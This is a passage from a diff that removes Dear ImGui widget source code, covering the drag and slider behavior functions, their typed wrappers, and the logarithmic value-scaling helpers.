a parameter. - if (axis == ImGuiAxis_Y) - adjust_delta = -adjust_delta; - - // For logarithmic use our range is effectively 0..1 so scale the delta into that range - if (is_logarithmic && (v_max - v_min < FLT_MAX) && ((v_max - v_min) > 0.000001f)) // Epsilon to avoid /0 - adjust_delta /= (float)(v_max - v_min); - - // Clear current value on activation - // Avoid altering values and clamping when we are _already_ past the limits and heading in the same direction, so e.g. if range is 0..255, current value is 300 and we are pushing to the right side, keep the 300. - bool is_just_activated = g.ActiveIdIsJustActivated; - bool is_already_past_limits_and_pushing_outward = is_clamped && ((*v >= v_max && adjust_delta > 0.0f) || (*v <= v_min && adjust_delta < 0.0f)); - if (is_just_activated || is_already_past_limits_and_pushing_outward) - { - g.DragCurrentAccum = 0.0f; - g.DragCurrentAccumDirty = false; - } - else if (adjust_delta != 0.0f) - { - g.DragCurrentAccum += adjust_delta; - g.DragCurrentAccumDirty = true; - } - - if (!g.DragCurrentAccumDirty) - return false; - - TYPE v_cur = *v; - FLOATTYPE v_old_ref_for_accum_remainder = (FLOATTYPE)0.0f; - - float logarithmic_zero_epsilon = 0.0f; // Only valid when is_logarithmic is true - const float zero_deadzone_halfsize = 0.0f; // Drag widgets have no deadzone (as it doesn't make sense) - if (is_logarithmic) - { - // When using logarithmic sliders, we need to clamp to avoid hitting zero, but our choice of clamp value greatly affects slider precision. We attempt to use the specified precision to estimate a good lower bound. - const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 1; - logarithmic_zero_epsilon = ImPow(0.1f, (float)decimal_precision); - - // Convert to parametric space, apply delta, convert back - float v_old_parametric = ScaleRatioFromValueT(data_type, v_cur, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - float v_new_parametric = v_old_parametric + g.DragCurrentAccum; - v_cur = ScaleValueFromRatioT(data_type, v_new_parametric, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - v_old_ref_for_accum_remainder = v_old_parametric; - } - else - { - v_cur += (SIGNEDTYPE)g.DragCurrentAccum; - } - - // Round to user desired precision based on format string - if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) - v_cur = RoundScalarWithFormatT(format, data_type, v_cur); - - // Preserve remainder after rounding has been applied. This also allow slow tweaking of values. - g.DragCurrentAccumDirty = false; - if (is_logarithmic) - { - // Convert to parametric space, apply delta, convert back - float v_new_parametric = ScaleRatioFromValueT(data_type, v_cur, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - g.DragCurrentAccum -= (float)(v_new_parametric - v_old_ref_for_accum_remainder); - } - else - { - g.DragCurrentAccum -= (float)((SIGNEDTYPE)v_cur - (SIGNEDTYPE)*v); - } - - // Lose zero sign for float/double - if (v_cur == (TYPE)-0) - v_cur = (TYPE)0; - - // Clamp values (+ handle overflow/wrap-around for integer types) - if (*v != v_cur && is_clamped) - { - if (v_cur < v_min || (v_cur > *v && adjust_delta < 0.0f && !is_decimal)) - v_cur = v_min; - if (v_cur > v_max || (v_cur < *v && adjust_delta > 0.0f && !is_decimal)) - v_cur = v_max; - } - - // Apply result - if (*v == v_cur) - return false; - *v = v_cur; - return true; -} - -bool ImGui::DragBehavior(ImGuiID id, ImGuiDataType data_type, void* p_v, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) -{ - // Read imgui.cpp "API BREAKING CHANGES" section for 1.78 if you hit this assert. - IM_ASSERT((flags == 1 || (flags & ImGuiSliderFlags_InvalidMask_) == 0) && "Invalid ImGuiSliderFlags flags! Has the 'float power' argument been mistakenly cast to flags? Call function with ImGuiSliderFlags_Logarithmic flags instead."); - - ImGuiContext& g = *GImGui; - if (g.ActiveId == id) - { - if (g.ActiveIdSource == ImGuiInputSource_Mouse && !g.IO.MouseDown[0]) - ClearActiveID(); - else if (g.ActiveIdSource == ImGuiInputSource_Nav && g.NavActivatePressedId == id && !g.ActiveIdIsJustActivated) - ClearActiveID(); - } - if (g.ActiveId != id) - return false; - if ((g.CurrentWindow->DC.ItemFlags & ImGuiItemFlags_ReadOnly) || (flags & ImGuiSliderFlags_ReadOnly)) - return false; - - switch (data_type) - { - case ImGuiDataType_S8: { ImS32 v32 = (ImS32)*(ImS8*)p_v; bool r = DragBehaviorT(ImGuiDataType_S32, &v32, v_speed, p_min ? *(const ImS8*) p_min : IM_S8_MIN, p_max ? *(const ImS8*)p_max : IM_S8_MAX, format, flags); if (r) *(ImS8*)p_v = (ImS8)v32; return r; } - case ImGuiDataType_U8: { ImU32 v32 = (ImU32)*(ImU8*)p_v; bool r = DragBehaviorT(ImGuiDataType_U32, &v32, v_speed, p_min ? *(const ImU8*) p_min : IM_U8_MIN, p_max ? *(const ImU8*)p_max : IM_U8_MAX, format, flags); if (r) *(ImU8*)p_v = (ImU8)v32; return r; } - case ImGuiDataType_S16: { ImS32 v32 = (ImS32)*(ImS16*)p_v; bool r = DragBehaviorT(ImGuiDataType_S32, &v32, v_speed, p_min ? *(const ImS16*)p_min : IM_S16_MIN, p_max ? *(const ImS16*)p_max : IM_S16_MAX, format, flags); if (r) *(ImS16*)p_v = (ImS16)v32; return r; } - case ImGuiDataType_U16: { ImU32 v32 = (ImU32)*(ImU16*)p_v; bool r = DragBehaviorT(ImGuiDataType_U32, &v32, v_speed, p_min ? *(const ImU16*)p_min : IM_U16_MIN, p_max ? *(const ImU16*)p_max : IM_U16_MAX, format, flags); if (r) *(ImU16*)p_v = (ImU16)v32; return r; } - case ImGuiDataType_S32: return DragBehaviorT(data_type, (ImS32*)p_v, v_speed, p_min ? *(const ImS32* )p_min : IM_S32_MIN, p_max ? *(const ImS32* )p_max : IM_S32_MAX, format, flags); - case ImGuiDataType_U32: return DragBehaviorT(data_type, (ImU32*)p_v, v_speed, p_min ? *(const ImU32* )p_min : IM_U32_MIN, p_max ? *(const ImU32* )p_max : IM_U32_MAX, format, flags); - case ImGuiDataType_S64: return DragBehaviorT(data_type, (ImS64*)p_v, v_speed, p_min ? *(const ImS64* )p_min : IM_S64_MIN, p_max ? *(const ImS64* )p_max : IM_S64_MAX, format, flags); - case ImGuiDataType_U64: return DragBehaviorT(data_type, (ImU64*)p_v, v_speed, p_min ? *(const ImU64* )p_min : IM_U64_MIN, p_max ? *(const ImU64* )p_max : IM_U64_MAX, format, flags); - case ImGuiDataType_Float: return DragBehaviorT(data_type, (float*)p_v, v_speed, p_min ? *(const float* )p_min : -FLT_MAX, p_max ? *(const float* )p_max : FLT_MAX, format, flags); - case ImGuiDataType_Double: return DragBehaviorT(data_type, (double*)p_v, v_speed, p_min ? *(const double*)p_min : -DBL_MAX, p_max ? *(const double*)p_max : DBL_MAX, format, flags); - case ImGuiDataType_COUNT: break; - } - IM_ASSERT(0); - return false; -} - -// Note: p_data, p_min and p_max are _pointers_ to a memory address holding the data. For a Drag widget, p_min and p_max are optional. -// Read code of e.g. DragFloat(), DragInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. -bool ImGui::DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - const float w = CalcItemWidth(); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); - const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); - - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id, &frame_bb)) - return false; - - // Default format string when passing NULL - if (format == NULL) - format = DataTypeGetInfo(data_type)->PrintFmt; - else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) - format = PatchFormatStringFloatToInt(format); - - // Tabbing or CTRL-clicking on Drag turns it into an InputText - const bool hovered = ItemHoverable(frame_bb, id); - const bool temp_input_allowed = (flags & ImGuiSliderFlags_NoInput) == 0; - bool temp_input_is_active = temp_input_allowed && TempInputIsActive(id); - if (!temp_input_is_active) - { - const bool focus_requested = temp_input_allowed && FocusableItemRegister(window, id); - const bool clicked = (hovered && g.IO.MouseClicked[0]); - const bool double_clicked = (hovered && g.IO.MouseDoubleClicked[0]); - if (focus_requested || clicked || double_clicked || g.NavActivateId == id || g.NavInputId == id) - { - SetActiveID(id, window); - SetFocusID(id, window); - FocusWindow(window); - g.ActiveIdUsingNavDirMask = (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); - if (temp_input_allowed && (focus_requested || (clicked && g.IO.KeyCtrl) || double_clicked || g.NavInputId == id)) - { - temp_input_is_active = true; - FocusableItemUnregister(window); - } - } - // Experimental: simple click (without moving) turns Drag into an InputText - // FIXME: Currently polling ImGuiConfigFlags_IsTouchScreen, may either poll an hypothetical ImGuiBackendFlags_HasKeyboard and/or an explicit drag settings. - if (g.IO.ConfigDragClickToInputText && temp_input_allowed && !temp_input_is_active) - if (g.ActiveId == id && hovered && g.IO.MouseReleased[0] && !IsMouseDragPastThreshold(0, g.IO.MouseDragThreshold * DRAG_MOUSE_THRESHOLD_FACTOR)) - { - g.NavInputId = id; - temp_input_is_active = true; - FocusableItemUnregister(window); - } - } - - if (temp_input_is_active) - { - // Only clamp CTRL+Click input when ImGuiSliderFlags_AlwaysClamp is set - const bool is_clamp_input = (flags & ImGuiSliderFlags_AlwaysClamp) != 0 && (p_min == NULL || p_max == NULL || DataTypeCompare(data_type, p_min, p_max) < 0); - return TempInputScalar(frame_bb, id, label, data_type, p_data, format, is_clamp_input ? p_min : NULL, is_clamp_input ? p_max : NULL); - } - - // Draw frame - const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); - RenderNavHighlight(frame_bb, id); - RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, style.FrameRounding); - - // Drag behavior - const bool value_changed = DragBehavior(id, data_type, p_data, v_speed, p_min, p_max, format, flags); - if (value_changed) - MarkItemEdited(id); - - // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. - char value_buf[64]; - const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); - if (g.LogEnabled) - LogSetNextTextDecoration("{", "}"); - RenderTextClipped(frame_bb.Min, frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.5f)); - - if (label_size.x > 0.0f) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); - return value_changed; -} - -bool ImGui::DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - bool value_changed = false; - BeginGroup(); - PushID(label); - PushMultiItemsWidths(components, CalcItemWidth()); - size_t type_size = GDataTypeInfo[data_type].Size; - for (int i = 0; i < components; i++) - { - PushID(i); - if (i > 0) - SameLine(0, g.Style.ItemInnerSpacing.x); - value_changed |= DragScalar("", data_type, p_data, v_speed, p_min, p_max, format, flags); - PopID(); - PopItemWidth(); - p_data = (void*)((char*)p_data + type_size); - } - PopID(); - - const char* label_end = FindRenderedTextEnd(label); - if (label != label_end) - { - SameLine(0, g.Style.ItemInnerSpacing.x); - TextEx(label, label_end); - } - - EndGroup(); - return value_changed; -} - -bool ImGui::DragFloat(const char* label, float* v, float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalar(label, ImGuiDataType_Float, v, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragFloat2(const char* label, float v[2], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_Float, v, 2, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragFloat3(const char* label, float v[3], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_Float, v, 3, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragFloat4(const char* label, float v[4], float v_speed, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_Float, v, 4, v_speed, &v_min, &v_max, format, flags); -} - -// NB: You likely want to specify the ImGuiSliderFlags_AlwaysClamp when using this. -bool ImGui::DragFloatRange2(const char* label, float* v_current_min, float* v_current_max, float v_speed, float v_min, float v_max, const char* format, const char* format_max, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - PushID(label); - BeginGroup(); - PushMultiItemsWidths(2, CalcItemWidth()); - - float min_min = (v_min >= v_max) ? -FLT_MAX : v_min; - float min_max = (v_min >= v_max) ? *v_current_max : ImMin(v_max, *v_current_max); - ImGuiSliderFlags min_flags = flags | ((min_min == min_max) ? ImGuiSliderFlags_ReadOnly : 0); - bool value_changed = DragScalar("##min", ImGuiDataType_Float, v_current_min, v_speed, &min_min, &min_max, format, min_flags); - PopItemWidth(); - SameLine(0, g.Style.ItemInnerSpacing.x); - - float max_min = (v_min >= v_max) ? *v_current_min : ImMax(v_min, *v_current_min); - float max_max = (v_min >= v_max) ? FLT_MAX : v_max; - ImGuiSliderFlags max_flags = flags | ((max_min == max_max) ? ImGuiSliderFlags_ReadOnly : 0); - value_changed |= DragScalar("##max", ImGuiDataType_Float, v_current_max, v_speed, &max_min, &max_max, format_max ? format_max : format, max_flags); - PopItemWidth(); - SameLine(0, g.Style.ItemInnerSpacing.x); - - TextEx(label, FindRenderedTextEnd(label)); - EndGroup(); - PopID(); - return value_changed; -} - -// NB: v_speed is float to allow adjusting the drag speed with more precision -bool ImGui::DragInt(const char* label, int* v, float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalar(label, ImGuiDataType_S32, v, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragInt2(const char* label, int v[2], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_S32, v, 2, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragInt3(const char* label, int v[3], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_S32, v, 3, v_speed, &v_min, &v_max, format, flags); -} - -bool ImGui::DragInt4(const char* label, int v[4], float v_speed, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return DragScalarN(label, ImGuiDataType_S32, v, 4, v_speed, &v_min, &v_max, format, flags); -} - -// NB: You likely want to specify the ImGuiSliderFlags_AlwaysClamp when using this. -bool ImGui::DragIntRange2(const char* label, int* v_current_min, int* v_current_max, float v_speed, int v_min, int v_max, const char* format, const char* format_max, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - PushID(label); - BeginGroup(); - PushMultiItemsWidths(2, CalcItemWidth()); - - int min_min = (v_min >= v_max) ? INT_MIN : v_min; - int min_max = (v_min >= v_max) ? *v_current_max : ImMin(v_max, *v_current_max); - ImGuiSliderFlags min_flags = flags | ((min_min == min_max) ? ImGuiSliderFlags_ReadOnly : 0); - bool value_changed = DragInt("##min", v_current_min, v_speed, min_min, min_max, format, min_flags); - PopItemWidth(); - SameLine(0, g.Style.ItemInnerSpacing.x); - - int max_min = (v_min >= v_max) ? *v_current_min : ImMax(v_min, *v_current_min); - int max_max = (v_min >= v_max) ? INT_MAX : v_max; - ImGuiSliderFlags max_flags = flags | ((max_min == max_max) ? ImGuiSliderFlags_ReadOnly : 0); - value_changed |= DragInt("##max", v_current_max, v_speed, max_min, max_max, format_max ? format_max : format, max_flags); - PopItemWidth(); - SameLine(0, g.Style.ItemInnerSpacing.x); - - TextEx(label, FindRenderedTextEnd(label)); - EndGroup(); - PopID(); - - return value_changed; -} - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -// Obsolete versions with power parameter. See https://github.com/ocornut/imgui/issues/3361 for details. -bool ImGui::DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, float power) -{ - ImGuiSliderFlags drag_flags = ImGuiSliderFlags_None; - if (power != 1.0f) - { - IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); - IM_ASSERT(p_min != NULL && p_max != NULL); // When using a power curve the drag needs to have known bounds - drag_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths - } - return DragScalar(label, data_type, p_data, v_speed, p_min, p_max, format, drag_flags); -} - -bool ImGui::DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, float power) -{ - ImGuiSliderFlags drag_flags = ImGuiSliderFlags_None; - if (power != 1.0f) - { - IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); - IM_ASSERT(p_min != NULL && p_max != NULL); // When using a power curve the drag needs to have known bounds - drag_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths - } - return DragScalarN(label, data_type, p_data, components, v_speed, p_min, p_max, format, drag_flags); -} - -#endif // IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -//------------------------------------------------------------------------- -// [SECTION] Widgets: SliderScalar, SliderFloat, SliderInt, etc. -//------------------------------------------------------------------------- -// - ScaleRatioFromValueT<> [Internal] -// - ScaleValueFromRatioT<> [Internal] -// - SliderBehaviorT<>() [Internal] -// - SliderBehavior() [Internal] -// - SliderScalar() -// - SliderScalarN() -// - SliderFloat() -// - SliderFloat2() -// - SliderFloat3() -// - SliderFloat4() -// - SliderAngle() -// - SliderInt() -// - SliderInt2() -// - SliderInt3() -// - SliderInt4() -// - VSliderScalar() -// - VSliderFloat() -// - VSliderInt() -//------------------------------------------------------------------------- - -// Convert a value v in the output space of a slider into a parametric position on the slider itself (the logical opposite of ScaleValueFromRatioT) -template -float ImGui::ScaleRatioFromValueT(ImGuiDataType data_type, TYPE v, TYPE v_min, TYPE v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_halfsize) -{ - if (v_min == v_max) - return 0.0f; - IM_UNUSED(data_type); - - const TYPE v_clamped = (v_min < v_max) ? ImClamp(v, v_min, v_max) : ImClamp(v, v_max, v_min); - if (is_logarithmic) - { - bool flipped = v_max < v_min; - - if (flipped) // Handle the case where the range is backwards - ImSwap(v_min, v_max); - - // Fudge min/max to avoid getting close to log(0) - FLOATTYPE v_min_fudged = (ImAbs((FLOATTYPE)v_min) < logarithmic_zero_epsilon) ? ((v_min < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_min; - FLOATTYPE v_max_fudged = (ImAbs((FLOATTYPE)v_max) < logarithmic_zero_epsilon) ? ((v_max < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_max; - - // Awkward special cases - we need ranges of the form (-100 .. 0) to convert to (-100 .. -epsilon), not (-100 .. epsilon) - if ((v_min == 0.0f) && (v_max < 0.0f)) - v_min_fudged = -logarithmic_zero_epsilon; - else if ((v_max == 0.0f) && (v_min < 0.0f)) - v_max_fudged = -logarithmic_zero_epsilon; - - float result; - - if (v_clamped <= v_min_fudged) - result = 0.0f; // Workaround for values that are in-range but below our fudge - else if (v_clamped >= v_max_fudged) - result = 1.0f; // Workaround for values that are in-range but above our fudge - else if ((v_min * v_max) < 0.0f) // Range crosses zero, so split into two portions - { - float zero_point_center = (-(float)v_min) / ((float)v_max - (float)v_min); // The zero point in parametric space. There's an argument we should take the logarithmic nature into account when calculating this, but for now this should do (and the most common case of a symmetrical range works fine) - float zero_point_snap_L = zero_point_center - zero_deadzone_halfsize; - float zero_point_snap_R = zero_point_center + zero_deadzone_halfsize; - if (v == 0.0f) - result = zero_point_center; // Special case for exactly zero - else if (v < 0.0f) - result = (1.0f - (float)(ImLog(-(FLOATTYPE)v_clamped / logarithmic_zero_epsilon) / ImLog(-v_min_fudged / logarithmic_zero_epsilon))) * zero_point_snap_L; - else - result = zero_point_snap_R + ((float)(ImLog((FLOATTYPE)v_clamped / logarithmic_zero_epsilon) / ImLog(v_max_fudged / logarithmic_zero_epsilon)) * (1.0f - zero_point_snap_R)); - } - else if ((v_min < 0.0f) || (v_max < 0.0f)) // Entirely negative slider - result = 1.0f - (float)(ImLog(-(FLOATTYPE)v_clamped / -v_max_fudged) / ImLog(-v_min_fudged / -v_max_fudged)); - else - result = (float)(ImLog((FLOATTYPE)v_clamped / v_min_fudged) / ImLog(v_max_fudged / v_min_fudged)); - - return flipped ? (1.0f - result) : result; - } - - // Linear slider - return (float)((FLOATTYPE)(SIGNEDTYPE)(v_clamped - v_min) / (FLOATTYPE)(SIGNEDTYPE)(v_max - v_min)); -} - -// Convert a parametric position on a slider into a value v in the output space (the logical opposite of ScaleRatioFromValueT) -template -TYPE ImGui::ScaleValueFromRatioT(ImGuiDataType data_type, float t, TYPE v_min, TYPE v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_halfsize) -{ - if (v_min == v_max) - return v_min; - const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); - - TYPE result; - if (is_logarithmic) - { - // We special-case the extents because otherwise our fudging can lead to "mathematically correct" but non-intuitive behaviors like a fully-left slider not actually reaching the minimum value - if (t <= 0.0f) - result = v_min; - else if (t >= 1.0f) - result = v_max; - else - { - bool flipped = v_max < v_min; // Check if range is "backwards" - - // Fudge min/max to avoid getting silly results close to zero - FLOATTYPE v_min_fudged = (ImAbs((FLOATTYPE)v_min) < logarithmic_zero_epsilon) ? ((v_min < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_min; - FLOATTYPE v_max_fudged = (ImAbs((FLOATTYPE)v_max) < logarithmic_zero_epsilon) ? ((v_max < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_max; - - if (flipped) - ImSwap(v_min_fudged, v_max_fudged); - - // Awkward special case - we need ranges of the form (-100 .. 0) to convert to (-100 .. -epsilon), not (-100 .. epsilon) - if ((v_max == 0.0f) && (v_min < 0.0f)) - v_max_fudged = -logarithmic_zero_epsilon; - - float t_with_flip = flipped ? (1.0f - t) : t; // t, but flipped if necessary to account for us flipping the range - - if ((v_min * v_max) < 0.0f) // Range crosses zero, so we have to do this in two parts - { - float zero_point_center = (-(float)ImMin(v_min, v_max)) / ImAbs((float)v_max - (float)v_min); // The zero point in parametric space - float zero_point_snap_L = zero_point_center - zero_deadzone_halfsize; - float zero_point_snap_R = zero_point_center + zero_deadzone_halfsize; - if (t_with_flip >= zero_point_snap_L && t_with_flip <= zero_point_snap_R) - result = (TYPE)0.0f; // Special case to make getting exactly zero possible (the epsilon prevents it otherwise) - else if (t_with_flip < zero_point_center) - result = (TYPE)-(logarithmic_zero_epsilon * ImPow(-v_min_fudged / logarithmic_zero_epsilon, (FLOATTYPE)(1.0f - (t_with_flip / zero_point_snap_L)))); - else - result = (TYPE)(logarithmic_zero_epsilon * ImPow(v_max_fudged / logarithmic_zero_epsilon, (FLOATTYPE)((t_with_flip - zero_point_snap_R) / (1.0f - zero_point_snap_R)))); - } - else if ((v_min < 0.0f) || (v_max < 0.0f)) // Entirely negative slider - result = (TYPE)-(-v_max_fudged * ImPow(-v_min_fudged / -v_max_fudged, (FLOATTYPE)(1.0f - t_with_flip))); - else - result = (TYPE)(v_min_fudged * ImPow(v_max_fudged / v_min_fudged, (FLOATTYPE)t_with_flip)); - } - } - else - { - // Linear slider - if (is_decimal) - { - result = ImLerp(v_min, v_max, t); - } - else - { - // - For integer values we want the clicking position to match the grab box so we round above - // This code is carefully tuned to work with large values (e.g. high ranges of U64) while preserving this property.. - // - Not doing a *1.0 multiply at the end of a range as it tends to be lossy. While absolute aiming at a large s64/u64 - // range is going to be imprecise anyway, with this check we at least make the edge values matches expected limits. - if (t < 1.0) - { - FLOATTYPE v_new_off_f = (SIGNEDTYPE)(v_max - v_min) * t; - result = (TYPE)((SIGNEDTYPE)v_min + (SIGNEDTYPE)(v_new_off_f + (FLOATTYPE)(v_min > v_max ? -0.5 : 0.5))); - } - else - { - result = v_max; - } - } - } - - return result; -} - -// FIXME: Move more of the code into SliderBehavior() -template -bool ImGui::SliderBehaviorT(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, TYPE* v, const TYPE v_min, const TYPE v_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb) -{ - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - - const ImGuiAxis axis = (flags & ImGuiSliderFlags_Vertical) ? ImGuiAxis_Y : ImGuiAxis_X; - const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); - const bool is_logarithmic = (flags & ImGuiSliderFlags_Logarithmic) && is_decimal; - - const float grab_padding = 2.0f; - const float slider_sz = (bb.Max[axis] - bb.Min[axis]) - grab_padding * 2.0f; - float grab_sz = style.GrabMinSize; - SIGNEDTYPE v_range = (v_min < v_max ? v_max - v_min : v_min - v_max); - if (!is_decimal && v_range >= 0) // v_range < 0 may happen on integer overflows - grab_sz = ImMax((float)(slider_sz / (v_range + 1)), style.GrabMinSize); // For integer sliders: if possible have the grab size represent 1 unit - grab_sz = ImMin(grab_sz, slider_sz); - const float slider_usable_sz = slider_sz - grab_sz; - const float slider_usable_pos_min = bb.Min[axis] + grab_padding + grab_sz * 0.5f; - const float slider_usable_pos_max = bb.Max[axis] - grab_padding - grab_sz * 0.5f; - - float logarithmic_zero_epsilon = 0.0f; // Only valid when is_logarithmic is true - float zero_deadzone_halfsize = 0.0f; // Only valid when is_logarithmic is true - if (is_logarithmic) - { - // When using logarithmic sliders, we need to clamp to avoid hitting zero, but our choice of clamp value greatly affects slider precision. We attempt to use the specified precision to estimate a good lower bound. - const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 1; - logarithmic_zero_epsilon = ImPow(0.1f, (float)decimal_precision); - zero_deadzone_halfsize = (style.LogSliderDeadzone * 0.5f) / ImMax(slider_usable_sz, 1.0f); - } - - // Process interacting with the slider - bool value_changed = false; - if (g.ActiveId == id) - { - bool set_new_value = false; - float clicked_t = 0.0f; - if (g.ActiveIdSource == ImGuiInputSource_Mouse) - { - if (!g.IO.MouseDown[0]) - { - ClearActiveID(); - } - else - { - const float mouse_abs_pos = g.IO.MousePos[axis]; - clicked_t = (slider_usable_sz > 0.0f) ? ImClamp((mouse_abs_pos - slider_usable_pos_min) / slider_usable_sz, 0.0f, 1.0f) : 0.0f; - if (axis == ImGuiAxis_Y) - clicked_t = 1.0f - clicked_t; - set_new_value = true; - } - } - else if (g.ActiveIdSource == ImGuiInputSource_Nav) - { - if (g.ActiveIdIsJustActivated) - { - g.SliderCurrentAccum = 0.0f; // Reset any stored nav delta upon activation - g.SliderCurrentAccumDirty = false; - } - - const ImVec2 input_delta2 = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard | ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_RepeatFast, 0.0f, 0.0f); - float input_delta = (axis == ImGuiAxis_X) ? input_delta2.x : -input_delta2.y; - if (input_delta != 0.0f) - { - const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 0; - if (decimal_precision > 0) - { - input_delta /= 100.0f; // Gamepad/keyboard tweak speeds in % of slider bounds - if (IsNavInputDown(ImGuiNavInput_TweakSlow)) - input_delta /= 10.0f; - } - else - { - if ((v_range >= -100.0f && v_range <= 100.0f) || IsNavInputDown(ImGuiNavInput_TweakSlow)) - input_delta = ((input_delta < 0.0f) ? -1.0f : +1.0f) / (float)v_range; // Gamepad/keyboard tweak speeds in integer steps - else - input_delta /= 100.0f; - } - if (IsNavInputDown(ImGuiNavInput_TweakFast)) - input_delta *= 10.0f; - - g.SliderCurrentAccum += input_delta; - g.SliderCurrentAccumDirty = true; - } - - float delta = g.SliderCurrentAccum; - if (g.NavActivatePressedId == id && !g.ActiveIdIsJustActivated) - { - ClearActiveID(); - } - else if (g.SliderCurrentAccumDirty) - { - clicked_t = ScaleRatioFromValueT(data_type, *v, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - - if ((clicked_t >= 1.0f && delta > 0.0f) || (clicked_t <= 0.0f && delta < 0.0f)) // This is to avoid applying the saturation when already past the limits - { - set_new_value = false; - g.SliderCurrentAccum = 0.0f; // If pushing up against the limits, don't continue to accumulate - } - else - { - set_new_value = true; - float old_clicked_t = clicked_t; - clicked_t = ImSaturate(clicked_t + delta); - - // Calculate what our "new" clicked_t will be, and thus how far we actually moved the slider, and subtract this from the accumulator - TYPE v_new = ScaleValueFromRatioT(data_type, clicked_t, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) - v_new = RoundScalarWithFormatT(format, data_type, v_new); - float new_clicked_t = ScaleRatioFromValueT(data_type, v_new, v_min, 